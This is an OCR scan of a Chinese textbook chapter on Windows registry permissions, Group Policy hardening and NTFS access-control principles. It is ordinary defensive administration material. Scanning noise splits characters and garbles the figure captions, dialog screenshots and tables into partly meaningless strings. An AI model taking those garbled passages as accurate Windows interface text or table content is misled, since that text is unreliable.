HKEY_CURRENT_CONFIG | 包含 本 地 计算 机 在 系统 启动 时 所 用 配置 文件 的 所 有 信息 


HKEY CLASSES ROOT 


HKEY LOCAL MACHINE 


HKEY USERS 


3& 4-4 列 出 当前 由 系统 定义 和 使 用 的 数据 类 型 。 


Bis ”编辑 注册 表 不 当 将 会 严重 损坏 系统 。 更 改 注 册 表 之 前 ,应 备份 计算 机 上 任 
何 有 价值 的 数据 。 


uo 
SNO 
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表 4-4 数据 类 型 
数据 类 型 说 明 
未 处 理 的 二 进 制 数据 。 多 数 硬件 组 件 信息 都 以 二 进 制 数据 格式 存储 ,而 以 
十 六 进 制 格式 显示 在 注册 表 编 辑 器 中 


数据 由 4 字 节 长 的 数 表示 。 许 多 设备 驱动 程序 和 服务 的 参数 是 这 种 类 型 ， 
并 在 注册 表 编 辑 器 中 以 二 进 制 .十 六 进 制 或 十 进 制 的 格式 显示 
长 度 可 变 的 数据 串 。 该 数据 类 型 包含 在 程序 或 服务 使 用 该 数据 时 确定 的 


REG_BINARY 


REG_DWORD 


REG EXPAND SZ 


变量 

PEET: 多 重 字符 审 ， 其 中 包含 格式 可 被 用 户 读 取 的 列表 或 多 值 的 值 ， 项 用 空格 、 
REGSMULTISSA 逗号 或 其 他 标记 分 开 
REG_SZ 固定 长 度 的 文本 串 


REG FULL RESOURCE. 


DESCRIPTOR 设计 用 来 存储 硬件 元 件 或 驱动 程序 资源 列表 的 一 列 典 套数 组 


2. 维护 注册 表 安 全 性 


(1) 给 注册 表 项 指派 权限 

打开 注册 表 编 辑 器 , 右 击 想 要 指派 权限 的 项 ,选择 右键 菜单 中 的 【权限 了 命令 ,出 现 如 
图 4-40 所 示 的 对 话 框 ,给 所 选项 指派 访问 级 别 。 — 
如 果 要 授予 用 户 读 取 该 项 内 容 的 权限 ,但 不 保 [f] 
存 对 文件 的 任何 更 改 , 对 【 读 取 】 选 中 [允许 ] 复 选 框 。 | amo - 
如 果 要 授予 用 户 打开 、 编 辑 所 选项 和 获得 其 所 EEE 
有 权 的 权限 ,对 【完全 控制 ] 选 中 [允许 ] 复 选 框 。 
如 果 要 授予 用 户 对 所 选项 的 特殊 权限 , 单 击 
【高 级 按钮 。 出 现 如 图 4-41 所 示 的 [HKEY_USERS 
的 高 级 安全 设置 对话 框 。 
如 果 要 给 子 项 指派 权限 ,并 希望 指派 给 父 项 的 
可 继承 权限 能 够 应 用 于 子 项 ,要 选中 图 4-41 中 【从 特别 权限 或 高 庆 设 置 ， 请 单 击 "Ru" 
父系 继承 那些 可 以 应 用 到 子 对 象 的 权限 项 目 ,包括 
那些 在 此 明确 定义 的 项 目 ] 复 选 框 。 

如 果 在 向 某 个 父 项 指派 权限 ,并 且 希 望 其 子 项 
的 所 有 现 有 权限 被 父 项 的 可 继承 权限 代替 . 则 选中 [用 在 此 显示 的 可 以 应 用 到 子 对 象 的 项 目 
替代 所 有 子 对 象 的 权限 项 目 ] 复 选 框 。 

(2) 给 注册 表 项 指派 特殊 访问 

打开 注册 表 编 辑 器 , 右 击 想 要 指派 [特殊 访问 权 ] 的 项 .选择 右键 菜单 中 的 [权限 命令 ， 
出 现 如 图 4-40 所 示 的 对 话 框 , 单 击 【 高 级 了 按钮 ,出 现 如 图 4-41 所 示 的 [HKEY_USERS 的 
高 级 安全 设置 ] 对 话 框 ,再 双击 要 为 其 指派 特殊 访问 权 的 用 户 或 组 ,出 现 如 图 4-42 所 示 的 
[HKEY USERS 的 权限 项 目 了 对 话 框 ,在 【权限 选项 组 下 ,对 每 个 要 允许 或 拒绝 的 权限 选 
中 [允许 7 或 【拒绝 ] 复 选 框 。 

(3) 向 权限 列表 中 添加 用 户 或 组 

打开 注册 表 编 辑 器 , 右 击 想 要 更 改 其 权限 列表 的 项 ,选择 右键 菜单 中 的 [权限 了 命令 ,出 


[IE 
图 4-40 指派 访问 级 别 
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BHO [审核 “| 所 有 者 有效 权限 ] 
要 起 查看 有 关 “ 特 殊 权 限 ” 的 详细 信息 ， 请 选择 一 个 权限 项 目 ， 热 后 单 击 “ 编 辑 ”。 
权限 项 目 W 


RED 该 项 及 其 子 项 
AWD 该 项 及 其 子 项 


Caso. J( mio ] 
回 从 父 项 继承 那些 可 以 应 用 到 于 对 象 的 权限 项 目 ， 包 括 那 些 在 此 明确 定义 的 项 目 D. 
口 用 在 此 显示 的 可 以 应 用 到 也 对 象 的 项 目 普 代 所 有 子 对 象 的 权限 项 目 Y) 


图 4-41 高 级 安全 设置 


HEEY_USERS 的 权限 项 目 四 区 | ; ][ exo... ] 
EN [Re | 


名 称 [Administrators ZTGWdninist SAOL) ad 
RAH QD :| 该 项 及 其 子 项 ~ 


停止 中 


m 


nagagaamagunmn[s 


aj 


C) 


^ 


读 取 控 制 


pe 只 应 用 到 这 个 容器 中 的 对 象 CREATOR GROUP 
和 /1 D CREATOR OTNER 


Cae 


图 4-42 [HKEY USERS 的 权限 项 目 ] 对 话 框 图 4-43 【选择 用 户 或 组 ] 对 话 框 


现 如 图 4-40 所 示 的 对 话 框 , 单 击 【添加 按钮 ,出 现 如 图 4-43 所 示 的 【选择 用 户 或 组 ] 对 话 
框 , 单 击 用 户 名 或 组 名 ,再 单 击 【确定 按钮 。 

(4) 审核 注册 表 项 的 活动 

打开 注册 表 编 辑 器 . 右 击 想 要 审核 的 项 ,选择 右键 菜单 中 的 【权限 命令, 出现 如 图 4-40 
所 示 的 对 话 框 , 单 击 【高 级 按钮 ,然后 选择 【审核 ) 选 项 卡 ,如 图 4-44 所 示 , 双 击 组 名 或 用 户 
名 ,出 现 如 图 4-45 所 示 【HKEY_USERS 的 审核 项 目 】 对 话 框 , 在 【访问 3 选项 组 下 ,选中 或 取 
消 选中 要 审核 或 停止 审核 活动 的 [成 功 ] 和 【失败 ] 复 选 框 ,再 单 击 【确定 按钮 。 
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zE 


HEET_USERS 的 审核 项 目 
HKEY_USERS 的 高 级 安全 设置 
Gum [FE [mE 有效 权 限 | 
想 查看 有 关 “ 特 殊 审核 ”项 目的 详细 信息 ， 请 选择 一 个 审核 项 目 ， 状 后 单 击 “ 编 入” 
审核 项 目 D 


Chao 


从 父 项 继承 那些 可 以 应 用 到 子 对 象 的 审核 项 目 ， 包 括 那 些 在 此 明确 定义 的 项 目 D. 
口 用 在 此 显示 的 那些 可 以 应 用 到 子 对 象 的 项 目 蔡 代 所 有 子 对 象 的 审核 项 目 1 


回回 回回 回回 回回 回回 回 | 车 
口 口 口 口 口 口 口 口 口 口 口 | 网 | 


Las ra ni ETERU 


(m c) L3 XU 
图 4-44 【审核 3 选项 卡 图 4-45 [HKEY USERS 的 审核 
项 目 ] 对 话 框 


BSE ”必须 以 管理 员 或 Administrators 组 成 员 身份 登录 才能 完成 该 操作 。 如 果 
计算 机 连接 到 网 络 ,网 络 策略 设置 可 能 也 会 阻止 用 户 完成 该 操作 。 必 须 在 指定 要 审核 的 
事件 之 前 首先 添加 用 户 或 组 。 审 核 操 作 将 明显 地 降低 计算 机 的 速度 。 


关于 图 4-45 中 审核 项 的 说 明 见 表 4-5。 


表 4-5 审核 项 说 明 

审核 项 Roo" 审核 项 EN" 
pem s TENER RU Esp QU b e OE PEU GE 
查询 数值 | 读 取 注册 表 值 项 的 任何 企图 创建 链 接 [EAMA 
设置 数值 。 | 设置 注册 表 值 项 的 任何 企图 删除 删除 注册 表 对 象 的 任何 企图 

在 所 选 的 注册 表 项 上 创建 子 项 .— EXER I8 FE REID V Ta FE M 7 
创建 子 项 | 的 任何 企图 ADAC | 表 的 任何 企图 
BORGO | 识别 注册 表 中 子 项 的 任何 企图 | 写 入 所 有 者 | 更 改 所 选项 的 所 有 者 的 任何 企图 
- 来 月 注册 表 中 的 某 不 项 的 注意 | Lou 在 某 项 上 打开 任意 访问 控制 列 
um 事件 读 取 控 制 | 表 的 任何 企图 


(5) 取得 注册 表 项 的 所 有 权 

打开 注册 表 编 辑 器 , 右 击 想 要 取得 其 所 有 权 的 项 ,选择 右键 菜单 中 的 【权限 了 命令 ,出现 
如 图 4-40 所 示 的 对 话 框 , 单 击 【 高 级 ] 按 钮 ,然后 选择 [所 有 者 】 选 项 卡 ,然后 在 [将 所 有 者 更 
改 为 3 选项 组 下 面 , 单 击 新 的 所 有 者 ,再 单 击 【确定 按钮 。 


3. 导入 或 导出 注册 表 项 


(1) 将 全 部 或 部 分 注册 表 导 出 到 文本 文件 中 
打开 注册 表 编 辑 器 ,选择 [文件 3 菜单 上 的 [导出] 命令。 在 [文件 名 7 文本 框 中 ,输入 注册 
表 文 件 的 名 称 。 在 【导出 范围 3 选项 组 下 ,如 果 要 备份 整个 注册 表 , 则 单 击 【 全 部 按钮 。 如 果 


ey 
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只 备份 注册 表 树 的 某 一 分 支 , 单 击 【 选 定 的 分 支 ] 按 钮 ,然后 输入 要 导出 的 分 支 名 称 , 单 击 
【保存 ] 按 钮 。 

(2) 导入 部 分 或 全 部 注册 表 

打开 注册 表 编 辑 器 ,选择 [文件 ] 衣 单 上 的 【导入 命令。 查找 要 导入 的 文件 , 单 击 选中 该 
文件 ,再 单 击 【 打 开 】 按 钮 。 


区 注意 在 资源 管理 器 中 ,双击 扩展 名 为 . reg 的 文件 也 可 以 将 该 文件 导入 到 计算 机 
的 注册 表 中 。 


4. 解 开 被 锁 注 册 表 


如 果 打 开 TE 浏览 器 后 发 现 默认 主页 被 修改 了 ,此 时 考虑 到 进入 注册 表 来 修改 相应 键 
值 , 但 是 发 现 注册 表 被 锁 了 ,下 面 给 出 利用 系统 策略 编辑 器 解 开 被 锁 注册 表 的 方法 。 

在 开始 菜单 中 打开 [运行] 对话 框 ,输入 gpedit. msc, 打 开 【 组 策略 了 窗口 ,如 图 4-46 所 
示 , 然 后 ,依次 展开 [用 户 配 置 3 民 管理 模板 】 攻 系 统 】 文 件 夹 ,双击 右 侧 窗口 中 的 【阻止 访问 注 
册 表 编辑 工具 选项 ,在 弹出 的 对 话 框 中 (图 4-47) 选 择 【 已 禁用 了 单 选 按钮 , 单 击 【确定 了 按钮 
后 即 可 为 注册 表 解 锁 。 


文件 四 MEO SEV MOD 
e Om d B em 
3 chil Y 

+ 算 机 配置 


;s | 图 止 访问 注册 表 编 辑 工 具 设置 
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er| 禁用 ns = Enana 
Regedit. 


Li: 可 的 Windows 应 
MRA NANEEA FAAPHE 不 要 运行 指定 的 Windows 
ECEE D 
限制 这 些 程序 从 帮助 启动 
下 载 丢失 的 con igi 
” finder 自动 更 新 
AXi rinaovs Update 设 
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行 许可 的 Windows Ed E. 


yc 


图 4-46 【组 策略 窗口 


4.3.5 Windows 组 策略 


组 策略 设置 定义 了 系统 管理 员 需 要 管理 的 用 户 桌 面 环境 的 多 种 组 件 , 例 如 ,用 户 可 用 的 
程序 、 用 户 桌面 上 出 现 的 程序 以 及 [开始 3 菜单 选项 。 组 策略 包括 影响 用 户 的 [用 户 配 置 ] 策 
略 设置 和 影响 计算 机 的 【计算 机 配置 3 策略 设置 。 如 图 4-48 所 示 .【 计 算 机 配置 3 是 对 整个 计 
算 机 中 的 系统 配置 进行 设置 的 ,对 计算 机 中 所 有 用 户 的 运行 环境 起 作用 江 用 户 配置 了 则 是 对 
当前 用 户 的 系统 配置 进行 设置 的 , 它 仅 对 当前 用 户 起 作用 。 

下 面 介绍 组 策略 与 安全 有 关 的 一 些 设置 。 
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疼 止 访问 注册 表 编辑 工具 属性 
设置 [xa 
B inurspemema rA 


OREO 
O 〇 ES 用 四 ) 
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禁用 后 台 运行 regedit? 


支持 于 至 少 Microsoft Windows 2000 


Ciao J( r-8Bw ] 
D» ) 
图 4-47 【阻止 访问 注册 表 编 辑 工具 属性 ] 对 话 框 
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图 4-48 【组 策略 了 窗口 


58 125: 打开 【组 策略 ] 窗 口 。 

在 开始 菜单 中 打开 【运行 ] 对 话 框 ,输入 gpedit. msc. 打开 【组 策略 了 窗口 ,如 图 4-48 
所 示 o 

第 2 步 : 隐藏 计算 机 的 驱动 器 。 

在 图 4-48 中 ,依次 展开 【用 户 配置 人 区 管理 模板 】 人 KWindows 组 件 ] 文 件 夹 ,然后 单 击 
[Windows 资源 管理 器 文件 夹 , 双 击 右 侧 窗口 中 的 [隐藏 “我 的 电脑 ”中 的 这 些 指定 的 驱动 
器 】 选 项 ,在 弹出 的 对 话 框 中 选择 【已 启用 有 单 选 按钮 ,从 下 拉 列 表 上 选择 一 个 驱动 器 或 几 个 


驱动 器 。 
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B S 这 项 策略 删除 驱动 器 图 标 。 用 户 仍 可 使 用 其 他 方式 继续 访问 驱动 器 的 内 
容 , 如 通过 在 映射 网 络 驱 动 器 对 话 框 、 运 行 对 话 框 或 命令 窗口 上 输入 一 个 驱动 器 的 目录 路 
径 。 同 时 ,此 策略 不 会 防止 用 户 使 用 程序 访问 这 些 了 驱动 器 或 其 内 容 , 也 不 会 防止 用 户 使 用 
“磁盘 管理 ”管理 单元 查看 并 更 改 了 驱动 器 特性 。 


第 3 步 : 防止 访问 驱动 器 。 

在 第 2 步 隐 藏 计 算 机 的 驱动 器 后 ,发现 【我 的 电脑 3 里 指定 的 磁盘 驱动 器 不 见 了 ,但 在 地 
址 栏 输入 盘 符 后 ,仍然 可 以 访问 ,为 了 解决 该 问题 ,在 图 4-48 中 ,双击 右 侧 窗口 中 的 [防止 从 
“我 的 电脑 ?访问 驱动 器 选项 ,在 弹出 的 对 话 框 中 选择 【已 启用 了 单 选 按钮 ,从 下 拉 列 表 中 选 
择 一 个 驱动 器 或 几 个 驱动 器 。 如 果 启 用 了 这 项 设置 ,用 户 可 以 浏览 在 【我 的 电脑 3 或 
[Windows 资源 管理 器 了 中 所 选择 的 目录 结构 ,但 是 不 能 打开 文件 夹 或 访问 其 中 的 内 容 。 同 
时 ,用 户 也 无 法 使 用 [运行 ] 对 话 框 或 【映射 网 络 驱动 器 对话 框 来 查看 在 这 些 驱动 器 上 的 
目录 。 

匿 注意 ”如 果 没 有 第 2 步 ,那么 这 些 代表 指定 驱动 器 的 图 标 仍旧 会 出 现在 【我 的 电 
脑 3 中 ,但 是 如 果 用 户 双击 图 标 ,会 弹出 [限制 ] 对 话 框 ,提示 本 次 操作 受 限 。 不 过 这 一 设置 
不 会 防止 用 户 使 用 程序 访问 本 地 和 网 络 驱动 器 。 并 且 不 防止 用 户 使 用 磁盘 管理 单元 查看 
和 更 改 驱动 器 特性 。 


第 4 步 : 隐藏 文件 夹 选项 。 

平时 隐藏 文件 夹 后 ,别人 只 需 在 文件 夹 选 项 里 显示 所 有 文件 ,就 可 以 看 见 了 ,从 
Windows 资源 管理 器 菜单 上 删除 文件 选项 项 目 并 且 从 控制 面板 上 删除 文件 夹 选项 项 目 。 
这 样 做 用 户 就 不 能 使 用 [文件 夹 选项 ] 对 话 框 。 可 以 在 组 策略 里 删除 这 个 选项 。 

在 图 4-48 中 ,双击 右 侧 窗口 中 的 [从 “工具 ”菜单 删除 “文件 夹 选项 "菜单 选项 ,在 弹出 
的 对 话 框 中 选择 【已 启用 了 单 选 按钮 。 

第 5 步 : 关闭 缩 略 图 缓存 。 

有 时 候 在 文件 夹 中 浏览 过 图 片 ,以 后 虽然 删除 了 ,但 是 缩 略 图 缓存 可 能 会 被 其 他 人 读 
取 。 如 果 启 用 该 设置 , 缩 略 图 视图 将 不 被 缓存 。 

在 图 4-48 中 ,双击 右 侧 窗口 中 的 【关闭 缩 略 图 的 缓存 选项 ,在 弹出 的 对 话 框 中 选择 
【已 启用 了 单 选 按钮 。 

第 6 步 : 关闭 自动 播放 。 

一 旦 将 媒体 插入 驱动 器 ,自动 运行 就 开始 从 驱动 器 中 读 取 。 这 会 造成 程序 的 设置 文件 
和 在 音频 媒体 上 的 音乐 会 立即 开始 。 在 默认 的 情况 下 ,自动 运行 在 软盘 驱动 器 和 网 络 驱动 
器 上 禁用 (但 不 在 CD-ROM 驱动 器 上 禁用 )。 如 果 启 动 这 项 设置 ,还 可 以 在 CD-ROM 驱动 
器 上 禁用 自动 运行 或 在 所 有 驱动 器 上 禁用 自动 运行 。 

在 图 4-46 中 ,双击 右 侧 窗口 中 的 【关闭 自动 播放 选项 ,在 弹出 的 对 话 框 中 选择 【已 启 
用 了 单 选 按钮 ,请 从 下 拉 列 表 上 选择 一 个 驱动 器 或 几 个 驱动 器 。 


BREE 这 个 设置 出 现在 【计算 机 配置 3 和 [用户 配置 】 两 个 文件 夹 中 。 如 果 两 个 设 
置 都 配置 计算 机 配置 】 中 的 设置 比 【 用 户 配 置 】 中 的 设置 优先 。 此 设置 不 阻止 自动 播放 
4k CD. 
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组 策略 的 功能 非常 强大 ,本 节 仅 介绍 了 其 中 很 少 的 一 部 分 功能 ,希望 能 够 起 到 抛砖引玉 
的 作用 。 


BEE 为 了 防止 其 他 用 户 通 过 组 策略 来 更 改 自 己 的 设置 ,可 以 在 C:\windows\ 
system32 下 把 gpedit. msc 更 名 ,比如 改 为 groupedit. msc, 以 后 在 开始 菜单 中 打开 【运行 】 
对 话 框 ,输入 groupedit. msc 即 可 ,不 影响 正常 使 用 。 


4.3.6 Windows 权限 


Windows NT/2000/XP/2003/Vista/2008 提供 了 非常 细致 的 权限 控制 项 ,能 够 精确 定 
制 用 户 对 资源 的 访问 控制 能 力 , 大 多 数 的 权限 从 其 名 称 上 就 可 以 基本 了 解 其 所 能 实现 的 
内 容 。 

权限 是 针对 资源 而 言 的 ,设置 权限 只 能 以 资源 为 对 象 ,比如 “设置 某 个 文件 夹 有 哪些 用 
户 可 以 拥有 相应 的 权限 ”, 而 不 能 以 用 户 为 主 ,比如 不 能 “设置 某 个 用 户 可 以 对 哪些 资源 拥有 
权限 ”"。 这 就 意味 着 权限 必须 针对 资源 而 言 , 脱 离 了 资源 去 谈 权 限 毫 无 意义 。 

利用 权限 可 以 控制 资源 被 访问 的 方式 ,如 User 组 的 成 员 对 某 个 资源 拥有 “ 读 取 ” 操 作 
FUR , Administrators 组 成 员 拥 有 “ 读 取 十 写 入 十 删除 ”操作 权限 等 。 


1. 与 Windows 权限 密切 相关 的 3 个 概念 


与 Windows 权限 密切 相关 的 3 个 概念 是 : 安全 标识 符 \ 访 问 控 制 列表 和 安全 主体 。 

CD 安全 标识 符 (Security Identifier, SID) 

在 Windows 中 ,系统 是 通过 SID 对 用 户 进行 识别 的 ,而 不 是 用 户 名 。SID 可 以 应 用 于 
系统 内 的 所 有 用 户 ,组 、 服 务 或 计算 机 ,因为 SID 是 一 个 具有 唯一 性 、 绝 对 不 会 重复 产生 的 
数值 ,所 以 ,在 删除 了 一 个 账户 ZTG 后 ,再 次 创建 这 个 ZTG 账户 时 ,前 一 个 ZTG 与 后 一 个 
ZTG 账户 的 SID 是 不 相同 的 。 这 种 设计 使 得 账户 的 权限 得 到 了 最 基础 的 保护 ,杜绝 盗用 权 
限 的 情况 。 

(2) 访问 控制 列表 (Access Control List. ACL) 

访问 控制 列表 是 权限 的 核心 技术 。 这 是 一 个 权限 列表 ,用 于 定义 特定 用 户 对 某 个 资源 
的 访问 权限 ,实际 上 这 就 是 Windows 对 资源 进行 保护 时 所 使 用 的 一 个 标准 。 

在 访问 控制 列表 中 ,每 一 个 用 户 或 用 户 组 都 对 应 一 组 访问 控制 项 (Access Control 
Entry, ACE) ,在 【组 或 用 户 名 称 】 列 表 中 选择 不 同 的 用 户 或 组 时 ,通过 下 方 的 权限 列表 设置 
项 是 不 同 的 这 一 点 就 可 以 看 出 来 。 显 然 , 所 有 用 户 或 用 户 组 的 权限 访问 设置 都 将 会 在 这 里 
被 存储 下 来 ,并 允许 随时 被 有 权限 进行 修改 的 用 户 进行 调整 。 

(3) 安全 主体 (Security Principal) 

在 Windows 中 ,可 以 将 用 户 、 用 户 组 .计算 机 或 服务 都 看 成 是 一 个 安全 主体 ,每 个 安全 
主体 都 拥有 相对 应 的 账户 名 称 和 SID。 根 据 系统 架构 的 不 同 ,账户 的 管理 方式 也 有 所 不 同 : 
本 地 账户 被 本 地 的 SAM 管理 , 域 的 账户 则 会 被 活动 目录 进行 管理 等 。 

一 般 来 说 ,权限 的 指派 过 程 实际 上 就 是 为 某 个 资源 指定 安全 主体 ( 即 用 户 、 用 户 组 等 )， 
使 其 可 以 拥有 指定 操作 的 过 程 。 因 为 用 户 组 包括 多 个 用 户 , 所 以 多 数 情况 下 ,建议 为 资源 指 
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派 权 限时 使 用 用 户 组 来 完成 ,这 样 可 以 统一 管理 。 
2. 权限 管理 的 4 项 基本 原则 


在 Windows 中 ,针对 权限 的 管理 有 4 项 基本 原则 , 即 拒绝 优 于 允许 原则 、 权 限 最 小 化 原 
则 、 权 限 继承 性 原则 和 累加 原则 。 这 4 项 基本 原则 对 于 权限 的 设置 来 说 ,将 会 起 到 非常 重要 
的 作用 ,下 面 介绍 权限 管理 的 4 项 基本 原则 。 

CD 拒绝 优 于 人 允许 

该 原则 是 一 条 非常 重要 且 基 础 性 的 原则 , 它 可 以 非常 完美 地 处 理 好 因 用 户 在 用 户 组 的 
归属 方面 引起 的 权限 冲突 。 

例如 : 用 户 ztg 既 属于 ztgs 用 户 组 ,也 属于 guangs 用 户 组 , 当 对 guangs 组 中 某 个 资源 
进行 “ 写 和 人 ”权限 的 集中 分 配 时 ,该 组 中 ztg 用 户 将 自动 拥有 “ 写 入 ”权限 。 

但 是 ztg 用 户 在 实际 操作 中 却 无 法 执行 写 人 操作。 原来 ,在 ztgs 组 中 同样 也 对 ztg 用 
户 进 行 了 针对 这 个 资源 的 权限 设置 ,设置 的 权限 是 “拒绝 写 信 ”。 基 于 “拒绝 优 于 允许 ”的 原 
则 ,ztg 在 ztgs 组 中 被 “拒绝 写 人 ”的 权限 将 优先 guangs 组 中 被 赋予 的 允许 “ 写 入 ”权限 。 因 
此 ,在 实际 操作 中 ,ztg 用 户 无 法 对 这 个 资源 进行 写 和 人 操作 。 

(2) 权限 最 小 化 

保持 用 户 最 小 的 权限 是 非常 有 必要 的 。 这 条 原则 可 以 确保 资源 得 到 最 大 的 安全 保障 。 

例如 : 系统 中 新 建 的 受 限 用 户 ztg 在 默认 状态 下 对 DIRECT 目录 没有 任何 权限 的 , 现 
在 需要 为 ztg 用 户 赋予 对 DIRECT 目录 有 读 取 的 权限 ,那么 就 必须 在 DIRECT 目录 的 权限 
列表 中 为 ztg 用 户 添加 读 取 权限 。 

(3) 权限 继承 性 

权限 继承 性 原则 可 以 让 资源 的 权限 设置 变 得 更 加 简单 。 假 设 现在 有 个 DIRECT 目录 ， 
在 这 个 目录 中 有 DIRECT1、DIRECT2、DIRECT3 等 子 目录 ,现在 需要 对 DIRECT 目录 及 
其 下 的 子 目录 均 设 置 ztg 用 户 有 写 人 权限 。 因 为 有 继承 性 原则 ,所 以 只 需 对 DIRECT 目录 
设置 ztg 用 户 有 写 人 权限 ,其 下 的 所 有 子 目 录 将 自动 继承 这 个 权限 的 设置 。 

(4) 累加 原则 

这 个 原则 比较 好 理解 ,假设 现在 ztg 用 户 既 属 于 ztgs 用 户 组 ,也 属于 guangs 用 户 组 , 它 
在 ztgs 用 户 组 对 DIRECT 目录 的 权限 是 读 取 ,在 guangs 用 户 组 中 对 DIRECT 目录 的 权限 
是 写 入 ,那么 根据 累加 原则 ,ztg 用 户 对 DIRECT 目录 的 实际 权限 将 会 是 读 取 十 写 和 。 

总 之 ,拒绝 优 于 允许 原则 是 用 于 解决 权限 设置 上 冲突 问题 的 ;权限 最 小 化 原则 是 用 于 保 
障 资源 安全 的 ;权限 继承 性 原则 是 用 于 权限 设置 的 自动 化 的 ;累加 原则 是 让 权限 的 设置 更 加 
灵活 多 变 的 。 


RES Administrators 组 的 全 部 成 员 都 拥有 从 其 他 用 户 手中 夺取 其 身份 的 权力 。 
3. 文件 与 文件 夹 权限 


文件 与 文件 夹 依据 是 否 被 共享 到 网 络 上 ,其 权限 可 分 为 NTFS 权限 与 共享 权限 ,这 两 
种 权限 既 可 以 单独 使 用 ,也 可 以 相 辅 使 用 。 两 者 之 间 既 能 够 相互 制约 ,也 可 以 相互 补充 。 
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(OD NTFS 权限 

只 要 是 在 NTFS 分 区 上 的 文件 夹 或 文件 ,无 论 是 否 被 共享 ,都 具有 此 权限 。 此 权限 对 
于 使 用 FAT16/FAT32 分 区 上 的 文件 与 文件 夹 无 效 。 

NTFS 权限 有 两 大 要 素 : 一 是 标准 访问 权限 ;二 是 特别 访问 权限 。 

标准 访问 权限 将 一 些 常用 的 系统 权限 选项 比较 笼统 地 组 成 7 组 权限 ,分 别 是 : 完全 控 
制 , 修 改 、 读 取 和 运行 、 列 出 文件 夹 目录 , 读 取 、 写 入 特别 的 权限 。 

在 大 多 数 的 情况 下 ,标准 访问 权限 是 可 以 满足 管理 需要 的 ,但 对 于 权限 管理 要 求 严 格 的 
环境 ,往往 就 不 能 满足 要 求 了 ,比如 只 想 赋予 某 用 户 有 建立 文件 夹 的 权限 ,而 不 赋予 该 用 户 
建立 文件 的 权限 ;又 比如 只 想 赋 予 某 用 户 只 能 删除 当前 目录 中 的 文件 , 却 不 能 删除 当前 目录 
中 的 子 目录 的 权限 等 ,此 时 ,就 可 以 使 用 特别 访问 权限 了 。 特 别 访问 权限 不 再 使 用 简单 的 权 
限 分 组 ,可 以 实现 更 具体 ,全 面 精确 的 权限 设置 。 

CD 设置 标准 访问 权限 。 

以 Windows 2003 系统 的 NTFS 分 区 (C:) 中 名 为 Inetpub 的 文件 夹 为 例 ,可 以 按照 如 
下 方法 进行 操作 。 

fili Inetpub 文件 夹 ,在 右键 菜单 中 选择 【共享 与 安全 3 命令 ,显示 【Inetpub 属性 对 话 
框 ,如 图 4-49 所 示 ,选择 [安全 3 选项 卡 , 针 对 资源 进行 的 NTFS 权限 设置 就 是 通过 这 个 选项 
卡 来 实现 的 。 此 时 应 首先 在 【组 或 用 户 名 称 】 列 表 中 选择 需要 赋予 权限 的 用 户 名 或 组 ,然后 
TE F Ji ll Administrators 的 权限 列表 中 设置 该 用 户 可 以 拥有 的 权限 。 


B+ Windows XP 在 安装 后 默认 状态 下 是 没有 激活 【安全 】 选 项 卡 设置 功能 的 ， 
所 以 需要 首先 启用 系统 中 的 【安全 】 选 项 卡 设置 功能 。 方 法 是 : 选择 资源 管理 器 的 [工具 】 
荣 单 中 的 [文件 夹 选项 命令 ,弹出 [文件 天 选项 对 话 框 ,如 图 4-50 所 示 , 打 开 【[ 查 看 〗 选 项 
卡 ,在 【高 级 设置 〗 选 项 列表 中 取消 选中 【使 用 简单 文件 共享 (推荐 )] 复 选 框 ,然后 单 击 
【确定 按钮 即 可 。 
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图 4-49. [Inetpub 属性 3 对 话 框 图 4-50 【文件 夹 选项 对 话 框 
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表 4-6 简单 介绍 了 图 4-49 中 7 个 权限 选项 的 含义 。 
表 4-6 图 4-49 中 的 7 个 权限 及 其 含义 


Bom * X 
该 权限 允许 用 户 对 文件 夹 . 子 文件 夹 ,文件 进行 全 权 控制 ,如 修改 资源 的 权限 、 获 取 资 
完全 控制 源 的 所 有 者 、 删 除 资源 的 权限 等 ,拥有 完全 控制 权限 就 等 于 拥有 了 其 他 所 有 的 权限 ， 


选中 了 ”完全 控制 选项 ,下 面 的 o 项 属性 将 自动 被 选中 


该 权限 允许 用 户 修改 或 删除 资源 ,同时 让 用 户 拥有 写 人 及 读 取 和 运行 权限 。 选 中 了 
修改 “修改 选项, 下面 的 o 项 属性 将 自动 被 选中 。 下 面 的 任何 一 项 没有 被 选中 时 ,修改 ” 
条 件 将 不 再 成 立 


该 权限 允许 用 户 拥有 读 取 和 列 出 资源 目录 的 权限 ,另外 也 允许 用 户 在 资源 中 进行 移动 
和 遍历 ,这 使 得 用 户 能 够 直接 访问 子 文件 夹 与 文件 ,即使 用 户 没有 权限 访问 这 个 路 径 


列 出 文件 夹 目录 | 该 权限 允许 用 户 查看 资源 中 的 子 文件 夹 与 文件 名 称 
BR 该 权限 允许 用 户 查看 该 文件 夹 中 的 文件 及 子 文件 夹 , 也 允许 查看 该 文件 夹 的 属性 、 所 
有 者 和 拥有 的 权限 等 


该 权限 允许 用 户 在 该 文件 夹 中 创建 新 的 文件 和 子 文件 夹 ,也 可 以 改变 文件 夹 的 属性 、 
查看 文件 夹 的 所 有 者 和 拥有 的 权限 等 


特别 的 权限 “特别 的 权限 ”选项 则 是 对 以 上 的 6 种 权限 进行 了 细 分 


读 取 和 运行 


写 人 


© 设置 特别 访问 权限 。 

第 1 步 : 在 图 4-49 中 单 击 【 添 加 按钮 ,弹出 【选择 用 户 或 组 】 对 话 框 , 单 击 【高 级 按钮 ， 
再 单 击 【立即 查找 了 按钮 ,如 图 4-51 所 示 ,选择 ztguang 用 户 , 单 击 【 确 定 ] 按 钮 后 再 单 击 【 确 
定 ] 按 钮 ,返回 【Inetpub 属性 ] 对 话 框 ,如 图 4-52 所 示 。 
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图 4-51 【选择 用 户 或 组 了 对 话 杠 图 4-52 【Inetpub 属性 ] 对 话 框 
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第 2 步 : 在 图 4-52 中 , 单 击 【 高 级 了 按钮 ,弹出 【Inetpub 的 高 级 安全 设置 对话 框 ,如 
图 4-53 所 示 , 取 消 选 中 [允许 父 项 的 继承 权限 传播 到 该 对 象 和 所 有 子 对 象 。 包 括 那 些 在 此 
明确 定义 的 项 目 复 选 框 ,这 样 可 以 断 开 当 前 权限 设置 与 父 级 权限 设置 之 间 的 继承 关系 。 在 
随即 弹出 的 [安全 】 对 话 框 ,如 图 4-54 所 示 , 单 击 [ 复 制 ] 或 [删除 按钮 ( 单 击 【 复 制 ] 按 钮 可 以 
首先 复制 继承 的 父 级 权限 设置 ,然后 再 断 开 继 承 关 系 ) ,返回 【Inetpub 的 高 级 安全 设置 ] 对 
话 框 ,然后 单 击 【 应 用 3 按钮 。 
